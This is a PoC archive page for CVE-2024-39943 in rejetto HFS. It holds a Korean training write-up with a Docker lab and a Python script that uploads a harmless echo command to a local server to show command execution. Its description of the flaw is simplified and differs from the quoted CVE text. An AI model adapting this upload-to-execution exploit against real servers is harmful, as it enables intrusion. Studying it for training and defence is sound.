Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2024-39943 PoC — rejetto HFS 安全漏洞

Source
Associated Vulnerability
Title: rejetto HFS 安全漏洞 (CVE-2024-39943)
Description:rejetto HFS (aka HTTP File Server) 3 before 0.52.10 on Linux, UNIX, and macOS allows OS command execution by remote authenticated users (if they have Upload permissions). This occurs because a shell is used to execute df (i.e., with execSync instead of spawnSync in child_process in Node.js).
Readme

# Node.js HFS 명령어 실행 취약점 (CVE-2024-39943)

>화이트햇 스쿨 3기 – 노정민 ([@JenmrR](https://github.com/JenmrR))

---

## 요약

Node.js 기반 HFS 서버 환경에서, 업로드된 파일의 내용을 `child_process.execSync()`로 실행하는 취약점이 존재한다.  
공격자는 파일 업로드 기능을 통해 OS 명령어를 직접 실행할 수 있으며, 서버 내부 명령어 결과를 확인하거나 시스템을 제어할 수 있다.  
이는 CVE-2024-39943에 해당하는 취약점으로, 명령어 주입(Remote Code Execution)과 동일한 수준의 위협을 발생시킨다.

---

## 환경 구성 및 실행

1. Docker 환경을 통해 서버 실행
2. 서버는 `/upload` 경로로 파일 업로드를 수신하며, 업로드된 파일 내용을 그대로 명령어로 실행
3. 공격자는 업로드를 통해 RCE 가능

### 실행 흐름

```bash
$ sudo docker-compose up --build -d
```

```bash
$ python3 poc.py
```

### poc.py

```python
import requests

payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }

r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)
```

---

## 결과

**PoC 실행 후 서버 응답:**

```
Executed:
Hello_From_Hacked_Server
```
  
![poc-result](./images/poc-output.png)

---

## 정리

- 본 취약점은 외부 입력을 OS 명령어로 실행할 경우 발생하는 전형적인 RCE(Remote Command Execution) 취약점이다.
- 업로드된 파일 내용을 직접 `execSync()`로 실행하는 방식은 심각한 보안 위험을 유발한다.
- 사용자 입력은 항상 검증해야 하며, 서버 내에서 직접 실행하지 않아야 한다.

---
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →